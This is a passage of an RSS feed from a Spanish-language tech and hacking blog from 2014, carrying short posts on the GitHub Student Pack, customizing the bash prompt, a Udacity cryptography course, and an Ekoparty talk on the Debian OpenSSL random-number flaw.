<p>Para ir cerrando agradezco a la gente GitHub y de todas las empresas  por brindar esta promoción y aconsejo a todos los estudiantes probarlo, pero siempre manteniéndose moderado. No sé si hace falta aclarar que los recién agradecidos no son ningún alma bondadosa sino que su trabajo es especular con la idea de que ya egresados solamente vamos a conocer su empresa y la contrataremos por el resto de nuestras vidas. Todos felices.</p>
<p>Saludos!</p>
<p>Link al pack: <a href="https://education.github.com/pack/offers" target="_blank">https://education.github.com/pack/offers</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2014/11/21/sobre-el-pack-para-estudiantes-de-github/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>Personalizar tu prompt de forma facil y amena</title>
		<link>https://licenciaparahackear.wordpress.com/2014/10/03/personalizar-tu-prompt-de-forma-facil-y-amena/</link>
					<comments>https://licenciaparahackear.wordpress.com/2014/10/03/personalizar-tu-prompt-de-forma-facil-y-amena/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Sat, 04 Oct 2014 00:48:20 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[personalizar]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[terminal]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1500</guid>

					<description><![CDATA[Nada tan facil como ingresar a la web de .bashrc PS1 generator en http://bashrcgenerator.com/ y hacerlo de manera grafica, y a la par que vamos seleccionando colores o datos en nuestro prompt, la previsualizacion nos muestra como va quedando nuestro ejemplo. Posteriormente editamos el~/.bashrc y listo. Que te diviertas! Fuente: http://vampii.blogspot.com.ar/2014/08/personalizar-tu-prompt-de-forma-facil-y.html Saludos!]]></description>
										<content:encoded><![CDATA[<p>Nada tan facil como ingresar a la web de .bashrc PS1 generator en <a href="http://bashrcgenerator.com/">http://bashrcgenerator.com/</a> y hacerlo de manera grafica, y a la par que vamos seleccionando colores o datos en nuestro prompt, la previsualizacion nos muestra como va quedando nuestro ejemplo.</p>
<p>Posteriormente editamos el~/.bashrc y listo.</p>
<p>Que te diviertas!</p>
<p>Fuente: <a href="http://vampii.blogspot.com.ar/2014/08/personalizar-tu-prompt-de-forma-facil-y.html">http://vampii.blogspot.com.ar/2014/08/personalizar-tu-prompt-de-forma-facil-y.html</a></p>
<p>Saludos!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2014/10/03/personalizar-tu-prompt-de-forma-facil-y-amena/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>Terminado curso de criptografía en Udacity</title>
		<link>https://licenciaparahackear.wordpress.com/2014/09/19/terminado-curso-de-criptografia-en-udacity/</link>
					<comments>https://licenciaparahackear.wordpress.com/2014/09/19/terminado-curso-de-criptografia-en-udacity/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Sat, 20 Sep 2014 01:10:00 +0000</pubDate>
				<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Enlaces y recomendaciones]]></category>
		<category><![CDATA[Redes]]></category>
		<category><![CDATA[a distancia]]></category>
		<category><![CDATA[criptografía]]></category>
		<category><![CDATA[Criptografía asimétrica]]></category>
		<category><![CDATA[curso]]></category>
		<category><![CDATA[diffie hellman]]></category>
		<category><![CDATA[gratis]]></category>
		<category><![CDATA[rsa]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1496</guid>

					<description><![CDATA[Recientemente terminé en Udacity, un ya comentado anteriormente sitio de e-learning, el curso que ofrecen sobre criptografía aplicada. Lo encontré muy útil y entretenido y es por esto que lo recomiendo para cualquiera a quien le interese esta ciencia. Mediante videos cortos, separados por preguntas del estilo multiple choice nos aseguramos de entender correctamente el [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Recientemente terminé en <a href="http://udacity.com">Udacity</a>, un ya comentado anteriormente sitio de e-learning, el curso que ofrecen sobre criptografía aplicada. Lo encontré muy útil y entretenido y es por esto que lo recomiendo para cualquiera a quien le interese esta ciencia. Mediante videos cortos, separados por preguntas del estilo multiple choice nos aseguramos de entender correctamente el tema dado y poder seguir con el curso. Este mismo cuenta con una importante base teórica (en la que se incluye mucha matemática) y más adelante se muestra como se aplica a la práctica. Cabe afirmar que el curso no tiene costo alguno y se realiza a distancia. Estos son algunos de los temas que se dieron:</p>
<ul>
<li>Cifrado One-Time-Pad (XOR)</li>
<li>Pseudo-Random Number Generators, importancia de estar correctamente implementados</li>
<li>Cifrado simétrico: AES, ventajas y desventajas del cifrado en bloque, modos ECB, CBC, CTR, PTR y CFM</li>
<li>Funciones de hash, propiedades, uso de las cadenas de hashes</li>
<li>Protocolo Diffie-Hellman, cualidades de los números primos, la aritmética modular y el logaritmo discreto</li>
<li>Criptografía asimétrica: ventajas, posibles usos, funcionamiento de RSA, integración con sistemas de cifrado simétrico</li>
<li>Protocolos de autenticación: Encryption Key Exchange, Secure Shell, Transport Layer Security, estructura y funcionamiento de los certificados digitales y de entidades certificadoras</li>
<li>Otras apliacciones de la criptografía: anonimato (TOR), voto electrónico, dinero digital (Bitcoin)</li>
<li>Secure Computation, Garbled Circuit Protocol</li>
<li>Entrevista sobre el funcionamiento de GSM y lo fácil que resulta romperlo</li>
</ul>
<p>Video de presentación:</p>
<div class="embed-youtube"><iframe title="Applied Cryptography Course Overview" width="627" height="353" src="https://www.youtube.com/embed/HlNDXiVnhqI?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>Link al curso: <a title="https://www.udacity.com/course/cs387" href="https://www.udacity.com/course/cs387">https://www.udacity.com/course/cs387</a></p>
<p>Saludos!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2014/09/19/terminado-curso-de-criptografia-en-udacity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>Predictive pseudo-random nubers generator in Debian</title>
		<link>https://licenciaparahackear.wordpress.com/2014/09/12/predictive-pseudo-random-nubers-generator-in-debian/</link>
					<comments>https://licenciaparahackear.wordpress.com/2014/09/12/predictive-pseudo-random-nubers-generator-in-debian/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Fri, 12 Sep 2014 21:41:42 +0000</pubDate>
				<category><![CDATA[Hacking General]]></category>
		<category><![CDATA[charla]]></category>
		<category><![CDATA[criptografía]]></category>
		<category><![CDATA[ekoparty]]></category>
		<category><![CDATA[hacking]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1490</guid>

					<description><![CDATA[Revisando alguno de los videos favoritos en diferentes conferencias, encontré para compartir en este caso a Luciano Bello y Maximiliano Bertacchini en la 4ta edición de la Ekoparty 2008 presentando “Predictive pseudo-random numbers generator in Debian” uno de los primeros y más peligrosos fallos descubierto en OpenSSL A disfrutar de la matemática, criptografía y hacking [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Revisando alguno de los videos favoritos en diferentes conferencias, encontré para compartir en este caso a <b>Luciano Bello</b> y <b>Maximiliano Bertacchini</b> en la 4ta edición de la <b>Ekoparty 2008</b> presentando “<b>Predictive pseudo-random numbers generator in Debian</b>” uno de los primeros y más peligrosos fallos descubierto en OpenSSL</p>
<p>A disfrutar de la matemática, criptografía y hacking</p>
<p><div class="embed-vimeo" style="text-align: center;"><iframe src="https://player.vimeo.com/video/17536321" width="627" height="338" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div><br />
<a href="http://vimeo.com/17536321">Predictive pseudo-random numbers generator in Debian &#8211; ekoparty Security Conference 4th edition</a> from <a href="http://vimeo.com/ekoparty">ekoparty</a> on <a href="https://vimeo.com/">Vimeo</a>.</p>
<p>Fuente: <a href="http://www.caceriadespammers.com.ar/2014/08/predictive-pseudo-random-nubers-generator-in-debian.html">http://www.caceriadespammers.com.ar/2014/08/predictive-pseudo-random-nubers-generator-in-debian.html</a><br />
Saludos!</p>
<div></div>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2014/09/12/predictive-pseudo-random-nubers-generator-in-debian/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
	</channel>
</rss>
